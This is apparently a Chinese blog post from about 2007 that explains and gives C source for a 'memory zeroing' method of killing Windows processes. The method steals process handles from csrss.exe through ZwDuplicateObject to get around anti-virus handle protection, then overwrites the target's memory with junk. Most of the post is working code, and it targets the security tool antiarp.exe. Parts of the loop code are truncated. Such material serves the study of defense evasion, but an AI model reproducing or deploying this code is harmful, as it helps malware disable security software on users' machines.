在一般任务管理器无法关闭进程时用到
内存清零法 杀进程 原理分析
1.先打开CSRSS.EXE系统进程,获得其句柄,几乎系统所有的HANDLE结构体中,里面的ProcessId都是指向csrss.exe的,利用它的PID来进行遍历进程实现过滤。
2.分配好一块内存空间Buffer,用来存储SystemHandleInformation系统句柄信息
3.通过ZwQuerySystemInformation函数来查询系统句柄信息并保存在Buffer中,为 ZwQuerySystemInformation 函数传递16号参数,且Buffer的开始出保存的是系统句柄的数量.偏移4才是句柄信息
4.遍历Buffer中PSYSTEM_HANDLE_TABLE_ENTRY_INFO结构
typedef struct _SYSTEM_HANDLE_INFORMATION {
ULONG NumberOfHandles;
SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[ 1 ];
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;
0xxxxxxx ULONG NumberOfHandles
... PSYSTEM_HANDLE_TABLE_ENTRY_INFO
... PSYSTEM_HANDLE_TABLE_ENTRY_INFO
.. PSYSTEM_HANDLE_TABLE_ENTRY_INFO
. .
. .
. .
5.几乎系统所有的HANDLE结构体中,里面的ProcessId都是指向csrss.exe的,
h_info[i].UniqueProcessId== (ULONG)csrss_id) && (h_info[i].ObjectTypeIndex== 5
利用这个特性 来进行过滤句柄,遍历每个进程
6.有些时候,进程句柄是打不开的,通过遍历进程,可以得到句柄值,在知晓句柄值后,就可以进行句柄复制了
ZwDuplicateObject(
ph,
(PHANDLE)h_info[i].HandleValue,
(HANDLE)-1,
&h_dup,//复制后得到的句柄
0,
0,
DUPLICATE_SAME_ACCESS)
复制后的句柄,就可以随便操作了
7.使用ZwQueryInformationProcess函数来查询改句柄的PID,用来遍历到要操作的目标进程
8.其实可以用更简单的方式打开进程的,1-7步的目的就是一种非常规打开进程的方式,目的就是防止杀毒防护软件等对句柄的保护. 如果找到并打开了目标进程,就可以操作该进程内存,往该进程空间写入垃圾数据,让程序自己崩溃。
if (pbi.UniqueProcessId == dwProcessId)
{
MessageBox(0, "目标已确定!", "!", MB_OK);
for (i = 0x1000; i < 0x80000000; i = i + 0x1000)
{
PVOID pAddress = (PVOID) i;
ULONG sz = 0x1000;
ULONG oldp;
if (ZwProtectVirtualMemory (h_dup, &pAddress, &sz, PAGE_EXECUTE_READWRITE, &oldp) == STATUS_SUCCESS) {
ZwWriteVirtualMemory(h_dup, pAddress, buf, 0x1000, &oldp);
}
}
源代码也可以自己百度下..
================================================================
RKU的这招确实不错。在DebugMan上看到一点关于内存清零的提示信息,准备在RING0下实践下,结果BSOD的受不了,调试驱动偶还木有入门啊。无赖之下看到了RING3下实现的code,于是学习之。
/*************************************************************************
* 学习者: sudami
* 时间: 07/12/24
*
* 备注: 学习RING3下通过内存清零结束大部分进程的方法.思路如下:
*
* 遍历所有进程[隐藏进程暂时不在考虑之内]获得csrss.exe的PID,ZwOpenProcess得到其句柄-->
* 为ZwQuerySystemInformation 函数传递16号参数.获得系统句柄信息 -->
* 几乎系统所有的HANDLE结构体中,里面的ProcessId都是指向csrss.exe的,遍历每个进程-->
* 调用ZwDuplicateObject复制此进程的句柄表,ZwQueryInformationProcess得到
* PROCESS_BASIC_INFORMATION结构信息; 判断其中的UniqueProcessId是否和指定的PID相同-->
* 若相同,则相指定进程中写入垃圾数据,使进程死掉; 若不同,继续遍历.
*
*************************************************************************/
#include
#include
#include
#include
#include "G:/sudamiDriver/RootKit.h"
//////////////////////////////////////////////////////////////////////////
#pragma comment (lib,"ntdll.lib")
#pragma comment (lib, "Kernel32.lib")
#pragma comment (lib, "Advapi32.lib")
#pragma comment (linker, "/subsystem:windows")
#pragma comment (linker, "/ENTRY:main")
//------------------------------------------------------------------
DWORD GetPidByName (char *szName);
void KillProcess (ULONG dwProcessId);
BOOL EnablePrivilege(HANDLE hToken,LPCTSTR szPrivName,BOOL fEnable);
//////////////////////////////////////////////////////////////////////////
// 主函数入口
//
void main()
{
ULONG Pid;
HANDLE hToken;
OpenProcessToken (GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken);
EnablePrivilege (hToken, SE_DEBUG_NAME, TRUE);
if (Pid = GetPidByName("antiarp.exe")) {
KillProcess (Pid);
} else {
MessageBox (NULL, TEXT("The process is not exit,please check out."), TEXT("!"), MB_OK);
}
}
/////////////////////////////////////////////////////////////////////////
//-----------------------------------------------------------------------
// 函数名: GetPidByName
//
// 参数: char *szName
// --> 进程名
//
// 返回值: 指定进程的PID
//
// 功能: 通过CreateToolhelp32Snapshot函数遍历进程,找到制定进程的PID
// 对RootKit基本无用
//
DWORD GetPidByName (char *szName)
{
HANDLE hProcessSnap = INVALID_HANDLE_VALUE;
PROCESSENTRY32 pe32 = {0};
DWORD dwRet=0;
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hProcessSnap == INVALID_HANDLE_VALUE)
return 0;
pe32.dwSize = sizeof(PROCESSENTRY32);
if (Process32First (hProcessSnap, &pe32)) {
do {
if (lstrcmpi(szName, pe32.szExeFile) == 0) {
dwRet=pe32.th32ProcessID;
break;
}
}while (Process32Next(hProcessSnap,&pe32));
}
else {
return 0;
}
if(hProcessSnap !=INVALID_HANDLE_VALUE) {
CloseHandle(hProcessSnap);
}
return dwRet;
}
/////////////////////////////////////////////////////////////////////////
//-----------------------------------------------------------------------
// 函数名: KillProcess
//
// 参数: ULONG dwProcessId
// --> 进程ID
//
// 返回值: NULL
//
// 功能: 向指定的进程空间填充垃圾信息.使进程死掉
//
void KillProcess (ULONG dwProcessId)
{
HMODULE hNTDLL = GetModuleHandle("ntdll.dll");
HANDLE ph, h_dup;
PSYSTEM_HANDLE_INFORMATION h_info;
PROCESS_BASIC_INFORMATION pbi;
// 得到 csrss.exe 进程的PID
HANDLE csrss_id = (HANDLE) GetPidByName ("csrss.exe");
CLIENT_ID client_id;
client_id.UniqueProcess = csrss_id;
client_id.UniqueThread = 0;
// 初始化对象结构体
OBJECT_ATTRIBUTES attr;
attr.Length = sizeof(OBJECT_ATTRIBUTES);
attr.RootDirectory = 0;
attr.ObjectName = 0;
attr.Attributes = 0;
attr.SecurityDescriptor = 0;
attr.SecurityQualityOfService = 0;
////////////////////////////////////////////////////////////////////////////////////
// 获得这些函数的实际地址
ZWQUERYSYSTEMINFORMATION ZwQuerySystemInformation =
(ZWQUERYSYSTEMINFORMATION) GetProcAddress (hNTDLL, "ZwQuerySystemInformation");
ZWOPENPROCESS ZwOpenProcess =
(ZWOPENPROCESS) GetProcAddress (hNTDLL, "ZwOpenProcess");
ZWDUPLICATEOBJECT ZwDuplicateObject =
(ZWDUPLICATEOBJECT) GetProcAddress (hNTDLL, "ZwDuplicateObject");
ZWQUERYINFORMATIONPROCESS ZwQueryInformationProcess =
(ZWQUERYINFORMATIONPROCESS) GetProcAddress (hNTDLL, "ZwQueryInformationProcess");
ZWALLOCATEVIRTUALMEMORY ZwAllocateVirtualMemory =
(ZWALLOCATEVIRTUALMEMORY) GetProcAddress (hNTDLL, "ZwAllocateVirtualMemory");
ZWPROTECTVIRTUALMEMORY ZwProtectVirtualMemory =
(ZWPROTECTVIRTUALMEMORY) GetProcAddress (hNTDLL, "ZwProtectVirtualMemory");
ZWWRITEVIRTUALMEMORY ZwWriteVirtualMemory =
(ZWWRITEVIRTUALMEMORY) GetProcAddress (hNTDLL, "ZwWriteVirtualMemory");
ZWFREEVIRTUALMEMORY ZwFreeVirtualMemory =
(ZWFREEVIRTUALMEMORY) GetProcAddress (GetModuleHandle("ntdll.dll"), "ZwFreeVirtualMemory");
ZWCLOSE ZwClose =
(ZWCLOSE) GetProcAddress (hNTDLL, "ZwClose");
////////////////////////////////////////////////////////////////////////////////////
// 打开CSRSS.EXE,获得其句柄
ZwOpenProcess (&ph, PROCESS_ALL_ACCESS, &attr, &client_id);
ULONG bytesIO = 0x400000;
PVOID buf = 0;
ZwAllocateVirtualMemory (GetCurrentProcess(), &buf, 0, &bytesIO, MEM_COMMIT, PAGE_READWRITE);
// 为 ZwQuerySystemInformation 函数传递16号参数.获得系统句柄信息保存在buff中
// buff的开始出保存的是系统句柄的数量.偏移4才是句柄信息
ZwQuerySystemInformation (SystemHandleInformation, buf, 0x400000, &bytesIO);
ULONG NumOfHandle = (ULONG) buf;
h_info = (PSYSTEM_HANDLE_INFORMATION)((ULONG)buf+4);
for (ULONG i= 0 ; i
if ((h_info->ProcessId == (ULONG)csrss_id) && (h_info->ObjectTypeNumber == 5))
{
// 复制句柄
if (ZwDuplicateObject(
ph,
(PHANDLE)h_info->Handle,
(HANDLE)-1,
&h_dup,
0,
0,
DUPLICATE_SAME_ACCESS) == STATUS_SUCCESS) {
ZwQueryInformationProcess(h_dup, 0, &pbi, sizeof(pbi), &bytesIO);
}
if (pbi.UniqueProcessId == dwProcessId)
{
MessageBox(0, "目标已确定!", "!", MB_OK);
for (i = 0x1000; i < 0x80000000; i = i + 0x1000)
{
PVOID pAddress = (PVOID) i;
ULONG sz = 0x1000;
ULONG oldp;
if (ZwProtectVirtualMemory (h_dup, &pAddress, &sz, PAGE_EXECUTE_READWRITE, &oldp) == STATUS_SUCCESS) {
ZwWriteVirtualMemory(h_dup, pAddress, buf, 0x1000, &oldp);
}
}
MessageBox(0, "任务已完成!","!", 0);
// ZwClose(h_dup);
break;
}
}
}
bytesIO = 0;
ZwFreeVirtualMemory(GetCurrentProcess(), &buf, &bytesIO, MEM_RELEASE);
}
/////////////////////////////////////////////////////////////////////////
//-----------------------------------------------------------------------
// 函数名: EnablePrivilege
//
// 参数: HANDLE hToken ---> 进程句柄
// LPCTSTR szPrivName --->
// BOOL fEnable --->
//
// 返回值: TRUE | FALSE
//
// 功能: 提升当前进程到指定的特权级
//
BOOL EnablePrivilege(HANDLE hToken,LPCTSTR szPrivName,BOOL fEnable)
{
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount = 1;
LookupPrivilegeValue (NULL, szPrivName, &tp.Privileges[0]. Luid);
tp.Privileges[0].Attributes = fEnable ? SE_PRIVILEGE_ENABLED:0;
AdjustTokenPrivileges (hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
return((GetLastError() == ERROR_SUCCESS));
}
///////////////////////////////